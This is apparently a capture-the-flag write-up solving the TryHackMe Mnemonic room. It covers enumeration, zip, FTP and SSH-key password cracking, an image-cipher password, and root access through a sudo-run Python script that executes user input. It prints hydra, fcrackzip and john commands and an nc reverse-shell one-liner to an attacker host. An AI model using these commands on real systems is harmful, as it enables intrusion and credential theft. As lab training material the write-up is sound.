TryHackMe Mnemonic Writeup
This writeup helps you understand all the steps necessary in order to root the Mnemonic box on TryHackMe. This box is a basic pen testing room and involves some widely used concepts.
TryHackMe Mnemonic – Enumeration
The first step is to check open ports on the system. We use nmap
to scan for open ports on the box. We add the sV
flag to determine service versions, sC
to run some default scripts and -p
to quickly scan all 65535 available ports. Run the following command:
nmap -sV -sC -p- <box_ip>
The results can be seen below:
PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack vsftpd 3.0.3 80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD | http-robots.txt: 1 disallowed entry |_/webmasters/* |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 1337/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 e0:42:c0:a5:7d:42:6f:00:22:f8:c7:54:aa:35:b9:dc (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+cUIYV9ABbcQFihgqbuJQcxu2FBvx0gwPk5Hn+Eu05zOEpZRYWLq2CRm3++53Ty0R7WgRwayrTTOVt6V7yEkCoElcAycgse/vY+U4bWr4xFX9HMNElYH1UztZnV12il/ep2wVd5nn//z4fOllUZJlGHm3m5zWF/k5yIh+8x7T7tfYNsoJdjUqQvB7IrcKidYxg/hPDWoZ/C+KMXij1n3YXVoDhQwwR66eUF1le90NybORg5ogCfBLSGJQhZhALBLLmxAVOSc4e+nhT/wkhTkHKGzUzW6PzA7fTN3Pgt81+m9vaxVm/j7bXG3RZSzmKlhrmdjEHFUkLmz6bjYu3201 | 256 23:eb:a9:9b:45:26:9c:a2:13:ab:c1:ce:07:2b:98:e0 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOJp4tEjJbtHZZtdwGUu6frTQk1CzigA1PII09LP2Edpj6DX8BpTwWQ0XLNSx5bPKr5sLO7Hn6fM6f7yOy8SNHU= | 256 35:8f:cb:e2:0d:11:2c:0b:63:f2:bc:a0:34:f3:dc:49 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIiax5oqQ7hT7CgO0CC7FlvGf3By7QkUDcECjpc9oV9k Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
All ports seem interesting. SSH is moved from port 22 to port 1337. Let’s start with enumerating the Apache web server on port 80.
TryHackMe Mnemonic – Enumerating Apache
Browsing to http://<box_ip>/
just displays a single header tag containing the word: Test. There is nothing interesting in the page source. Maybe there is a robots.txt file present? A robots file helps bots understand your website and allow or disallow access on specific pages. By specifying those pages in this file you can sometimes help the attacker find hidden content on your site. Accessing the robots.txt file by browsing to: http://<box_ip>/robots.txt
returns the following content:
User-agent: * Allow: / Disallow: /webmasters/*
This indicates that there is a webmasters directory present. Browsing to this directory returns a white page. We can use Gobuster in order to find hidden directories or files within the webmasters directory. Use the common.txt
file which can be found here. Running the following command: gobuster dir -u http://<box_ip>/webmasters/ -w /<directroy_of_common.txt>/common.txt
gives us the following links
/.htpasswd (Status: 403) /.hta (Status: 403) /.htaccess (Status: 403) /admin (Status: 301) /backups (Status: 301) /index.html (Status: 200)
The most interesting directory here is: backups. Let’s try to use gobuster in order to find hidden files within this directory. Run:
gobuster dir -u http://<box_ip>/webmasters/backups/ -w /usr/share/wordlists/common.txt -x 'jpg,png,pdf,zip,tar'
We add the x
flag to add extensions to the wordlist used. The most probable extension would be the zip
extension, since the file is located in a directory called: backups. Executing the command gives us:
/backups.zip (Status: 200) /index.html (Status: 200)
TryHackMe Mnemonic – Brute-forcing Zip & FTP
Nice! We just found a zip file. Download the file using your browser or by using wget
. When we try to open the file, we see that the zip file is password protected. Luckily we can use fcrackzip to brute-force the password. Run the following command:
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt backups.zip
After a few moments, the password is found. Within the zip file we find a note.txt
file. This file contains the username ftpuser
which indicates that we have to brute-force the ftp password as well. Let’s do so. Run the following command:
hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt <box_ip> ftp
Within a few moments, we find the FTP password. Let’s use these credentials to login to the FTP server.
ftp <box_ip>
TryHackMe Mnemonic – FTP Access
Now we fill in the credentials and we are in! Try to run ls
to list the contents of the current directory. The output of this command is:
200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 Jul 13 21:16 data-1 drwxr-xr-x 2 0 0 4096 Jul 13 21:17 data-10 drwxr-xr-x 2 0 0 4096 Jul 13 21:16 data-2 drwxr-xr-x 2 0 0 4096 Jul 13 21:16 data-3 drwxr-xr-x 4 0 0 4096 Jul 14 18:05 data-4 drwxr-xr-x 2 0 0 4096 Jul 13 21:16 data-5 drwxr-xr-x 2 0 0 4096 Jul 13 21:17 data-6 drwxr-xr-x 2 0 0 4096 Jul 13 21:17 data-7 drwxr-xr-x 2 0 0 4096 Jul 13 21:17 data-8 drwxr-xr-x 2 0 0 4096 Jul 13 21:17 data-9
The data-4 directory contains more files than the other directories. By changing directories to data-4
and list the contents of this directory we find:
drwxr-xr-x 2 0 0 4096 Jul 14 18:04 3 drwxr-xr-x 2 0 0 4096 Jul 14 18:04 4 -rwxr-xr-x 1 1001 1001 1766 Jul 13 20:34 id_rsa -rwxr-xr-x 1 1000 1000 31 Jul 13 21:18 not.txt
Now we have to get both files to our local machine. Run: not.txt
contains the following line:
james change ftp user password
TryHackMe Mnemonic – Brute-forcing SSH
Combined with the id_rsa
, it seems like this username is used to brute-force an ssh key. Use ssh2john in order to create a valid hash from the private SSH key. You can create the hash by running the command:
jssh2john id_rsa > id_rsa.hash
Then run john
using the following command:
john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
TryHackMe Mnemonic – User Flag
Got it! Now we can login to the server. Change the permissions of the private key, use port number 1337 (since SSH is running on this port) and login to the server. You have to enter the password twice. The first time for the private key and the second time for SSH itself.
chmod 400 id_rsa ssh -i id_rsa -p 1337 james@<box_ip> james@mnemonic:~$
And we are in! It seems like you automatically log out after some time. Furthermore, you are not allowed to use cd
. We are very limited in our commands. It seems like the find
command is working. Let’s first try to find the user flag. Run the following command:
find /home -type f -name user.txt
The output shows that two directories reside inside the home directory of condor which are base64-encoded. Use Cyberchef to decode these messages. The first base64 directory contains the user flag.
TryHackMe Mnemonic – Decoding Mnemonic image
Next is the root flag. We have to find a way to work ourselves towards the root flag. Decode the name of the other base64 directory and you can find a link to an image: https://i.ytimg.com/vi/K-96JmC2AkE/maxresdefault.jpg

Download this image. Now we have to find a Mnemonic decryptor which uses an image as input. Searching the web got me the following site. The image used in the Readme.md
is the same as the box image, so this must be the tool we have to use! Install the tool using the instuctions on the Github page. Then run the tool. The tool decrypts an image by looking up specific pixel values. This list of pixel values might be the 6450.txt
file found on the server. cat
the contents of this file and create 6450.txt
on your local machine. You should now have the list and the image on your local machine. Run the tool and first specify the absolute path of the image. Next, enter 2 for decode. Last, specify the absolute path of the txt
file. The outcome should be a password! Great! Now we should be able to login as condor, since we found this file in Condor’s home directory. Login using the following command:
ssh -p 1337 condor@<box_ip>
TryHackMe Mnemonic – Root flag
When running sudo -l
we find out that we are able to run: /usr/bin/python3 /bin/examplecode.py
as sudo user. Let’s figure out the contents of the examplecode.py
file. Run: cat /bin/examplecode.py
#!/usr/bin/python3 import os import time import sys def text(): #text print print(""" ------------information systems script beta-------- --------------------------------------------------- --------------------------------------------------- --------------------------------------------------- --------------------------------------------------- --------------------------------------------------- --------------------------------------------------- ----------------@author villwocki------------------""") time.sleep(2) print("\nRunning...") time.sleep(2) os.system(command="clear") main() def main(): info() while True: select = int(input("\nSelect:")) if select == 1: time.sleep(1) print("\nRunning") time.sleep(1) x = os.system(command="ip a") print("Main Menü press '0' ") print(x) if select == 2: time.sleep(1) print("\nRunning") time.sleep(1) x = os.system(command="ifconfig") print(x) if select == 3: time.sleep(1) print("\nRunning") time.sleep(1) x = os.system(command="ip route show") print(x) if select == 4: time.sleep(1) print("\nRunning") time.sleep(1) x = os.system(command="cat /etc/os-release") print(x) if select == 0: time.sleep(1) ex = str(input("are you sure you want to quit ? yes : ")) if ex == ".": print(os.system(input("\nRunning...."))) if ex == "yes " or "y": sys.exit() if select == 5: #root time.sleep(1) print("\nRunning") time.sleep(2) print(".......") time.sleep(2) print("System rebooting....") time.sleep(2) x = os.system(command="shutdown now") print(x) if select == 6: time.sleep(1) print("\nRunning") time.sleep(1) x = os.system(command="date") print(x) if select == 7: time.sleep(1) print("\nRunning") time.sleep(1) x = os.system(command="rm -r /tmp/*") print(x) def info(): #info print function print(""" #Network Connections [1] #Show İfconfig [2] #Show ip route [3] #Show Os-release [4] #Root Shell Spawn [5] #Print date [6] #Exit [0] """) def run(): # run function text() run()
The code seems to run some commands on the operating system itself. If you look closely at the code for command 0
you see that the user can quit the app by providing 0. Whenever the user provided 0, he or she has to provide an answer if he/she really wants to close the application. Here, the user can provide a .
as well. This will allow the user to execute commands as being root. However, only one command can be executed. So it is smart to create a reverse shell here. Thus, first start a netcat listener on your local machine.
nc -lvnp 1234
Then provide the following commands in the terminal of the box:
sudo /usr/bin/python3 /bin/examplecode.py 0 . rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attack_ip> 1234 >/tmp/f
On your local machine, make sure you run the following commands to create a more stable shell:
export TERM=xterm-256color python3 -c 'import pty;pty.spawn("/bin/bash")' ctrl+z stty raw -echo;fg enter enter
You should now have a stable root shell. Find the root flag using the find
command:
find / -name root.txt
The root flag is located in the /root
directory. You need to MD5 hash the contents between the brackets in order to fill in the correct value on the website.
I enjoyed completing this box. It contained most of the basic pen test principles. Brute-forcing, finding hidden files and directories on a web server and reversing a python file were all needed in order to complete this box.